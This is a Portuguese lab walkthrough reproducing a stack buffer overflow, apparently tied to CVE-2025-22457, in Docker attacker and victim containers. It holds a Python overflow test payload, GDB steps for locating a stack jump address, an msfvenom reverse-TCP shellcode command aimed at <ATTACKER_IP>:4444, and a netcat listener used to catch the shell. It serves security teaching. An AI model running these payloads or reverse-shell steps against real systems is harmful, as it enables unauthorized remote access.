
Laboratório prático reproduzindo o CVE-2025-22457: configura contêineres Docker de atacante/vítima, encontra endereços de pilha com GDB e entrega um exploit de reverse shell com msfvenom.
Se estiver a usar Windows, pode abrir o wsl para executar
chmod +x setup_environment.sh
./setup_environment.sh
Como os endereços de memória e o IP são dinâmicos em ambientes diferentes, é necessário encontrá-los manualmente e atualizar o script exploit.py.
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
O objetivo deste passo é encontrar um endereço de pilha estável, para que o nosso payload possa saltar com precisão.
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
Acionar o breakpoint: Usando o docker attacker, execute o seguinte comando para enviar um payload de teste. Isto fará com que o GDB pare no breakpoint. Nota: Substitua <VICTIM_IP> pelo Victim IP mostrado no passo um.
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
Encontrar e registar o endereço: Volte à janela do terminal onde está o GDB, o programa já deve ter parado. Execute o seguinte comando para inspecionar a pilha:
(gdb) x/200wx $esp
Na saída, encontre uma região composta por 0x43434343 (que representa 'C'). Escolha um endereço qualquer do meio dessa região (por exemplo 0xffffd580) e copie-o. Este é o stack_address.
Com um editor de texto, atualize o stack_address no exploit.py para o endereço que acabou de copiar
No shell do contentor attacker, execute o comando msfvenom para gerar o shellcode. Nota: Substitua <ATTACKER_IP> pelo Attacker IP mostrado no passo um.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
Copie todo o bloco de código buf = b""... produzido pelo msfvenom e use-o para substituir completamente a parte da variável buf existente no ficheiro exploit.py.
nc -lvnp 4444
Pode usar os dois métodos seguintes Método um
./vulnserver
Método dois
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
Verificar o resultado: Volte à janela onde está o listener netcat. Se tudo correr bem, verá uma ligação estabelecida e obterá uma shell interativa. Pode introduzir comandos como whoami, ls -la para verificar.
Introduza quit no GDB e depois exit no shell do contentor.
docker stop vic atac
docker network rm 111550082_net